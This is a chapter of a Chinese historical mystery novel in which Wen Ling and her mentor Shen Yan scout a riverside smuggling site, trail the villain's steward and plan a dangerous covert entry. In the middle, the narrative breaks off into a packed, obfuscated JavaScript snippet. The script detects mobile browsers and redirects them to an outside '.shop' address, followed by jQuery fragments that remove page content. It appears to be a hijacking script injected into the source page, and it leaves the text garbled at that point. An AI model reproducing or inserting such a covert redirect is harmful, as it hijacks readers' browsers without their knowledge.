砚池斋的后院有间闲置的厢房,沈砚让人收拾出来给闻菱住。屋里陈设简单,一张木床,一张书桌,墙角堆着几捆旧书,倒也清净。闻菱把父亲留下的纸条和沈砚给的玉簪小心收好,又将虎符藏在床板下的暗格里——这是她如今唯一的依仗,半点马虎不得。
接下来的几日,闻菱便在砚池斋住了下来。白日里,沈砚教她辨认账目中的猫腻,讲解官场上的盘根错节,偶尔还会拿出些卷宗,让她分析案情的关键。闻菱从前虽未接触过这些,却凭着一股韧劲,学得极快,往往沈砚稍一点拨,她便能举一反三。
“你父亲常说你聪慧,果然不假。”沈砚看着她在卷宗上做的批注,眼里露出几分赞许,“只是查案不仅要懂章法,更要沉得住气。李嵩老奸巨猾,赵奎心狠手辣,稍有不慎,就会被他们察觉。”
闻菱点头:“先生放心,我明白。”她指尖划过卷宗上“云栖渡”三个字,“我们何时去探探那里的地形?”
沈砚放下卷宗,眉头微蹙:“云栖渡在青州城外三十里,是片荒滩,平日里少有人去,只有几户以打渔为生的人家。李嵩的人肯定早就布了眼线,贸然前去,容易引人怀疑。”他想了想,“再过三日是青州的集市,到时候人多眼杂,我们扮成赶车的商贩,混过去看看。”
这三日里,闻菱没闲着。她跟着沈砚熟悉青州的街巷,记住哪些地方有暗巷,哪些墙院便于藏身——这些都是沈砚教她的保命本事。阿竹偶尔会来砚池斋送些新鲜的蔬果,每次来都要跟闻菱说些城里的新鲜事,顺便打探些关于李嵩的消息。
“我听府衙的差役说,李尚书最近派了不少人在城外巡查,说是要抓一伙偷运私盐的贼。”阿竹蹲在院子里帮闻菱劈柴,声音压得很低,“可我觉得不对劲,那些人查得也太严了,连打渔的小船都要翻来覆去地看。”
闻菱手里的动作顿了顿:“他们是不是对云栖渡一带查得格外紧?”
“可不是嘛!”阿竹往手心啐了口唾沫,抡起斧头劈下去,“我表叔说,前几日有个货郎想从云栖渡抄近路,被那些人打了一顿,货都给抢了。”
沈砚恰好从书房出来,听见这话,脸色沉了沉:“看来他们是在为交易做准备了,这几日我们更要小心。”
三日后,青州集市果然热闹非凡。沿街摆满了摊位,卖花布的、捏糖人的、说书的……吆喝声此起彼伏,混着食物的香气,把冬日的冷清驱散了大半。闻菱穿着件灰布短打,头上裹着块蓝布巾,扮成赶车的小厮,跟着沈砚往城外去。
沈砚则换上了件粗布棉袄,手里牵着匹老马,马背上搭着个空货箱,活像个跑单帮的商贩。两人一前一后走在人群里,尽量不引人注目。
出了城门,往云栖渡的方向走,路上的行人渐渐少了。寒风卷着沙砾打在脸上,有些疼。远远地,能看见一片灰蒙蒙的滩涂,那就是云栖渡。
“停。”沈砚忽然勒住马,示意闻菱停下,“前面那片林子,我们从那里绕过去。”
闻菱顺着他指的方向看去,只见离云栖渡不远的地方有片矮松林,林子里隐约有几个黑影在晃动。她心里一紧——果然有眼线。
两人牵着马钻进松林,找了处隐蔽的土坡蹲下。从这里望过去,云栖渡的景象看得一清二楚。
滩涂广阔,布满了大小不一的水洼,几艘破旧的渔船歪歪扭扭地泊在岸边,船帆早就烂了,像垂着的破布。远处的水天一色,灰蒙蒙的,透着股荒凉。
“你看那里。”沈砚指着滩涂中央的一处高地,“那里有间废弃的龙王庙,地势最高,能看清四周的动静,十有八九是他们交易的地方。”
闻菱仔细看去,果然看见那高地上有个模糊的黑影,像是庙宇的轮廓。她又往四周扫了一圈,发现滩涂边缘的几个沙丘后,都藏着人,虽然穿着打渔人的衣裳,却时不时探头张望,眼神警惕——显然是李嵩的人。
“防守比我想的要严。”沈砚的声音压得很低,“不仅滩涂周围有眼线,连通往这里的几条小路都有人盯梢。”
闻菱的心沉了沉:“那我们该怎么拿到证据?”
“硬闯肯定不行。”沈砚思索着,“他们交易时,人手一定更多,我们得找个机会混进去,或者……等他们交易结束,跟踪他们的人,找到他们藏账目的地方。”
就在这时,远处传来一阵马蹄声。
闻菱和沈砚赶紧把头低下,藏在土坡后。只见一队人马从西边的小路上过来,大约有十几人,都穿着黑衣,腰间佩刀,簇拥着一顶小轿,往云栖渡的方向去。
“是李嵩的人。”沈砚的声音里带着寒意,“那顶轿子里的,说不定就是李嵩的心腹,来提前查看场地。”
那队人马到了滩涂边,从轿子里走出个穿锦袍的中年男人,身材微胖,脸上带着倨傲。他叉着腰在滩涂上来回走了几圈,对着手下指手画脚,像是在吩咐什么。
“是张全,李嵩的管家。”沈砚认出了那人,“这人最是贪婪,也最是心狠,当年诬陷我的状子,就是他递上去的。”
闻菱看着那个张全,眼神冷了下来。她想起闻府的管家,那个总爱笑着给她塞糖糕的老人,最后却倒在了血泊里。同样是管家,一个忠肝义胆,一个为虎作伥。
张全在滩涂边停留了约莫一炷香的时间,又上了轿,带着人马往回走。
“我们跟上。”沈砚低声道,“看看他去什么地方。”
两人悄悄跟在那队人马后面,保持着一段距离。张全的人马并没有回城,而是拐进了一条岔路,往南边的一处庄园去。
那庄园建在半山腰,围墙很高,门口有侍卫把守,看起来戒备森严。
“是李嵩在青州的别院。”沈砚的眉头皱得更紧了,“看来他把这里当成了据点。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328952|199148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
闻菱看着那庄园,忽然想起沈砚说的“铁证”:“账册会不会就藏在这庄园里?”
“有可能。”沈砚点头,“李嵩生性多疑,重要的东西多半会放在自己眼皮子底下。只是这别院防卫严密,我们根本进不去。”
两人在林子里蹲了许久,直到日头偏西,才悄悄离开。往回走的路上,谁都没说话。闻菱心里清楚,要在李嵩的眼皮子底下拿到证据,难如登天。
回到砚池斋时,天已经黑了。刚走进铺子,闻菱就觉得有些不对劲——柜台后的算盘歪了,她早上擦过的书架上,多了个不该有的指印,而且是带着泥的指印。
“有人来过。”闻菱低声对沈砚说。
沈砚的脸色瞬间变了,他快步走进后院,检查了一圈,回来时手里拿着个东西——是个黑色的令牌,上面刻着个“李”字。
“是李嵩的人。”沈砚的声音有些发沉,“他们盯上这里了。”
闻菱的心猛地一揪:“是我们去云栖渡被发现了?”
“有可能,也可能是他们早就怀疑我了。”沈砚把令牌攥在手里,“看来我们得尽快动手了,再拖下去,不仅查不到证据,连我们自己都要暴露。”
他走到书桌前,铺开一张纸,快速地画着什么。闻菱凑过去看,发现是云栖渡的地形图,上面用红笔标出了龙王庙、沙丘、眼线的位置,还有几处隐蔽的水道。
“交易那天,他们的注意力都会在龙王庙和货物上。”沈砚指着图上的一处水道,“这里有条暗沟,通往龙王庙的后院,很少有人知道。你从这里进去,想办法找到他们交易的账册或信物,拿到后立刻从水道离开,我在外面接应你。”
闻菱看着那条暗沟的位置,心里清楚,这是最冒险的办法,一旦被发现,绝无生还可能。
“先生,还是我去接应,你……”闻菱想说让沈砚留在外面,她去冒险。
“不行。”沈砚打断她,“你对这里不熟,我必须在外面接应,才能确保你安全离开。”他看着闻菱,眼神坚定,“闻菱,这是唯一的机会。闻家的冤屈,还有那些被李嵩他们害死的人,都等着我们去还他们一个公道。”
闻菱看着他,又看了看那张地形图,深吸了一口气。她想起闻府的雪,想起母亲临终的眼神,想起玄清道长留在观里的背影。
她没有退路。
“好。”闻菱点了点头,指尖在那张地形图上,轻轻点了点那条暗沟,“我去。”
沈砚从怀里掏出个小小的瓷瓶,递给她:“这里面是蒙汗药,遇到紧急情况能用。还有这个……”他又拿出一把小巧的匕首,比闻菱那把更锋利,“防身用。”
闻菱接过东西,小心收好。窗外的风更大了,吹得窗纸“哗哗”响,像有无数双眼睛在暗处盯着。
她知道,离云栖渡的那场较量,不远了。而她,必须赢。